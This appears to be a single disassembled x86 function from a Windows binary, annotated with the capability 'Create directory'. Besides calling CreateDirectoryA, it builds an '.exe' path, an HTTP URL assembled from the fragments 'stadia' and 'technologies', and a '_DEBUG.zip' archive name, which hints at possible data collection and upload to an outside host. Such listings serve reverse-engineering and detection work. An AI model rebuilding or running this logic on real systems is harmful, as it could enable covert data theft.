Function at 0x414827
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x82c8
call fcn.0041a550
push ebx
push esi
push edi
mov edi, 0x41e266
push edi
lea ecx, [ebp - 0xf4]
call fcn.0040e58f
lea ecx, [ebp - 0xa8]
call fcn.00411a32
lea ecx, [ebp - 0xe8]
call fcn.00411885
push edi
lea ecx, [ebp - 0xa8]
call fcn.0040e603
push edi
lea ecx, [ebp - 0x7c]
call fcn.0040e603
xor esi, esi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], 0x9c40
mov dword [ebp - 0x44], esi
mov dword [0x639624], esi
mov dword [0x63961c], esi
mov dword [0x639618], esi
lea ebx, [ebp - 0x82c8]
mov dword [ebp - 0x1c], 0xc7
mov ecx, ebx
call fcn.0040e582
lea ecx, [ebx + 0x10]
call fcn.0040e582
add ebx, 0x28
dec dword [ebp - 0x1c]
jns 0x4148ba
lea ebx, [ebp - 0x3958]
mov dword [ebp - 0x1c], 0xc7
mov ecx, ebx
call fcn.0040e582
lea ecx, [ebx + 0x10]
call fcn.0040e582
add ebx, 0x1c
dec dword [ebp - 0x1c]
jns 0x4148de
lea ebx, [ebp - 0x1950]
mov dword [ebp - 0x1c], 0x63
mov ecx, ebx
call fcn.00411885
add ebx, 0x24
dec dword [ebp - 0x1c]
jns 0x414902
lea ebx, [ebp - 0x6388]
mov dword [ebp - 0x1c], 0x63
mov ecx, ebx
call fcn.00411a71
add ebx, 0x2c
dec dword [ebp - 0x1c]
jns 0x41491e
lea ebx, [ebp - 0x5258]
mov dword [ebp - 0x1c], 0x63
mov ecx, ebx
call fcn.00411aa8
add ebx, 0x40
dec dword [ebp - 0x1c]
jns 0x41493a
lea ebx, [ebp - 0xb40]
mov dword [ebp - 0x1c], 0x31
mov ecx, ebx
call fcn.00411acc
add ebx, 0x34
dec dword [ebp - 0x1c]
jns 0x414956
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], esi
call fcn.004026db
call fcn.0041616a
call fcn.00401000
mov ebx, 0x421ee4
test eax, eax
jne 0x414c31
push edi
lea ecx, [ebp - 0x18]
call fcn.0040e58f
push 0x421ee0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push ebx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push ebx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421edc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ed8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ed4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ed0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ecc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ec8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ec4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ec0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ebc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421eb8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421eb4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421eb0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421eac
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ea8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push str..exe
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
lea ecx, [ebp - 0x18]
call fcn.0040e778
push eax
call fcn.0040fe05
pop ecx
test al, al
jne 0x414c29
push esi
push 0x6400000
push esi
call fcn.0041931b
add esp, 0xc
mov dword [0x639620], eax
mov dword [0x639618], 1
lea ecx, [ebp - 0x18]
call fcn.0040e5fa
lea eax, [ebp - 0xc]
push 0xc
push eax
call fcn.0040f6c3
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push edi
lea ecx, [ebp - 0xc0]
call fcn.0040e58f
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [0x628a38]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc0]
call fcn.0040e6e6
mov ecx, eax
call fcn.0040e694
push eax
lea ecx, [ebp - 0xc0]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
lea ecx, [ebp - 0x18]
call fcn.0040e5fa
push esi
lea ecx, [ebp - 0xc0]
call fcn.0040e778
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
lea eax, [ebp - 0x118]
push eax
call fcn.0041217a
add esp, 0x6c
push eax
lea ecx, [ebp - 0xe8]
call fcn.00411af0
lea ecx, [ebp - 0x118]
call fcn.00411a56
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040e64d
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040e64d
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0xb4]
call fcn.0040e5c6
push 0x421b7c
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0xb4]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0xb4]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0xb4]
call fcn.0040e694
push eax
lea ecx, [ebp - 0xb4]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push esi
push esi
push esi
push 1
lea ecx, [ebp - 0x9c]
call fcn.0040e778
push eax
call dword [0x639764]
push esi
push esi
push esi
push 1
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x84], eax
call fcn.0040e778
push eax
call dword [0x639764]
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0xa8]
push eax
sub esp, 0xc
mov edi, esp
sub esp, 0xc
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.0040e5c6
call fcn.00402033
sub esp, 0xc
mov ecx, esp
push eax
call fcn.0040e58f
sub esp, 0xc
push esp
call fcn.0040f08a
push ecx
push ecx
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.0040e5c6
push edi
call fcn.00403f90
add esp, 0x34
call fcn.00410c6a
add esp, 0x10
cmp dword [ebp - 0x48], esi
jne 0x414e0d
mov dword [ebp - 0x48], 0xcb20
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x1950]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x421b68
call fcn.0040e58f
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
push esi
call fcn.00405af9
add esp, 0x78
call fcn.0041073c
add esp, 0x14
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x82c8]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x421ea4
call fcn.0040e58f
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
push esi
call fcn.00405af9
add esp, 0x78
call fcn.00410547
add esp, 0x14
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3958]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x421ea0
call fcn.0040e58f
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
push esi
call fcn.00405af9
add esp, 0x78
call fcn.00410689
sub esp, 0x54
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.00412af8
add esp, 0x5c
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.0040e5c6
lea ecx, [ebp - 0xb4]
call fcn.0040e778
sub esp, 0xc
mov ecx, esp
push eax
call fcn.0040e58f
call fcn.004044ff
push 6
pop ecx
lea esi, [ebp - 0x34]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x1950]
push ecx
lea ecx, [ebp - 0x3958]
push ecx
lea ecx, [ebp - 0x82c8]
push ecx
push edx
push eax
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.0040d931
add esp, 0x94
cmp dword [ebp - 0x68], 0
je 0x414fbe
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x6388]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x421e9c
call fcn.0040e58f
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
push esi
call fcn.00405af9
add esp, 0x78
call fcn.004107d2
push ecx
push 6
pop ecx
mov edi, esp
lea eax, [ebp - 0x6388]
push eax
sub esp, 0x68
lea esi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.00401e52
add esp, 0x84
cmp dword [ebp - 0x4c], 0
je 0x415030
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xb40]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x421e98
call fcn.0040e58f
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
push esi
call fcn.00405af9
add esp, 0x78
call fcn.00410487
push ecx
push 6
pop ecx
mov edi, esp
lea eax, [ebp - 0xb40]
push eax
sub esp, 0x68
lea esi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.0041212d
add esp, 0x84
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x5258]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x421e94
call fcn.0040e58f
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
push esi
call fcn.00405af9
add esp, 0x78
call fcn.004108a3
push ecx
push 6
pop ecx
mov edi, esp
lea eax, [ebp - 0x5258]
push eax
sub esp, 0x68
lea esi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.00413af2
xor edi, edi
add esp, 0x84
cmp dword [ebp - 0x58], edi
je 0x4150cf
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.00413d09
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.00412a62
add esp, 0x68
cmp dword [ebp - 0x64], edi
je 0x4150ed
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.00414101
add esp, 0x68
cmp dword [ebp - 0x60], edi
je 0x41510b
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.00414521
add esp, 0x68
cmp dword [ebp - 0x44], edi
je 0x415136
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.00414695
add esp, 0x68
jmp 0x415136
push 0x3e8
call dword [0x639698]
cmp dword [0x63961c], edi
ja 0x41512b
cmp dword [ebp - 0x5c], edi
je 0x41515e
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
push 0x43
call fcn.0040ff05
add esp, 0x6c
cmp dword [ebp - 0x4c], edi
jne 0x4151d1
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xb40]
push eax
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x421e98
call fcn.0040e58f
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
push esi
call fcn.00405af9
add esp, 0x78
call fcn.00410487
push ecx
push 6
pop ecx
mov edi, esp
lea eax, [ebp - 0xb40]
push eax
sub esp, 0x68
lea esi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.0041212d
add esp, 0x84
xor edi, edi
sub esp, 0xc
mov ecx, esp
push str.645327VdtSrezylanAPHT
call fcn.0040e58f
sub esp, 0x68
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
lea eax, [ebp - 0xc]
push eax
call fcn.00405af9
add esp, 0x78
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
call fcn.00401000
test eax, eax
jne 0x415635
mov esi, 0x41e266
push esi
lea ecx, [ebp - 0x18]
call fcn.0040e58f
push 0x421ee0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push ebx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push ebx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421edc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ed8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ed4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ed0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ecc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ec8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ec4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ec0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ebc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421eb8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421eb4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421eb0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421eac
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push 0x421ea8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
push str..exe
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e64d
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
lea ecx, [ebp - 0x18]
call fcn.0040e778
push eax
call fcn.0040fe05
pop ecx
test al, al
jne 0x41562d
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc4]
push eax
push dword [0x639620]
call fcn.0041a33c
add esp, 0xc
push esi
lea ecx, [ebp - 0xc]
call fcn.0040e58f
push str.http:__
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e64d
lea ecx, [ebp - 0x40]
call fcn.0040e5fa
push str.stadia
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e64d
lea ecx, [ebp - 0x40]
call fcn.0040e5fa
push str.technologies
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e64d
lea ecx, [ebp - 0x40]
call fcn.0040e5fa
push 0x41e258
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e64d
lea ecx, [ebp - 0x40]
call fcn.0040e5fa
push 0x421e6c
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e64d
lea ecx, [ebp - 0x40]
call fcn.0040e5fa
push 0x31
lea esi, [ebp - 0x2378]
pop ebx
mov ecx, esi
call fcn.00411acc
add esi, 0x34
dec ebx
jns 0x415568
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2378]
push eax
sub esp, 0xc
mov esi, esp
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], edi
push dword [ebp - 0xc4]
sub esp, 0xc
mov ecx, esp
push str._DEBUG.zip
call fcn.0040e58f
sub esp, 0xc
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.0040e5c6
sub esp, 0xc
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.0040e5c6
sub esp, 0xc
lea eax, [ebp - 0x7c]
mov ecx, esp
push eax
call fcn.0040e5c6
push dword [ebp - 0x84]
push esi
call fcn.004046cf
add esp, 0x40
call fcn.00410487
push ecx
push 6
pop ecx
mov edi, esp
lea eax, [ebp - 0x2378]
push eax
sub esp, 0x68
lea esi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.0041212d
add esp, 0x84
push 0x31
lea esi, [ebp - 0x1950]
pop edi
sub esi, 0x34
mov ecx, esi
call fcn.00410422
dec edi
jns 0x415618
lea ecx, [ebp - 0xc]
call fcn.0040e5fa
lea ecx, [ebp - 0x18]
call fcn.0040e5fa
lea ecx, [ebp - 0xc0]
call fcn.0040e778
push eax
call fcn.0040fdc7
sub esp, 0x64
lea eax, [ebp - 0xa8]
mov ecx, esp
push eax
call fcn.00401324
call fcn.00411b20
add esp, 0x68
lea ecx, [ebp - 0xb4]
call fcn.0040e5fa
lea ecx, [ebp - 0xc0]
call fcn.0040e5fa
push 0x31
lea esi, [ebp - 0x118]
pop edi
sub esi, 0x34
mov ecx, esi
call fcn.00410422
dec edi
jns 0x41567e
push 0x63
lea esi, [ebp - 0x3958]
pop edi
sub esi, 0x40
mov ecx, esi
call fcn.0041143b
dec edi
jns 0x415694
push 0x63
lea esi, [ebp - 0x5258]
pop edi
sub esi, 0x2c
mov ecx, esi
call fcn.00411a8d
dec edi
jns 0x4156aa
push 0x63
lea esi, [ebp - 0xb40]
pop edi
sub esi, 0x24
mov ecx, esi
call fcn.00411a56
dec edi
jns 0x4156c0
mov edi, 0xc7
lea esi, [ebp - 0x2378]
mov ebx, edi
sub esi, 0x1c
lea ecx, [esi + 0x10]
call fcn.0040e5fa
mov ecx, esi
call fcn.0040e5fa
dec ebx
jns 0x4156da
lea esi, [ebp - 0x6388]
sub esi, 0x28
lea ecx, [esi + 0x10]
call fcn.0040e5fa
mov ecx, esi
call fcn.0040e5fa
dec edi
jns 0x4156f5
lea ecx, [ebp - 0xe8]
call fcn.00411a56
lea ecx, [ebp - 0xa8]
call fcn.00401301
lea ecx, [ebp - 0xf4]
call fcn.0040e5fa
pop edi
pop esi
pop ebx
leave
ret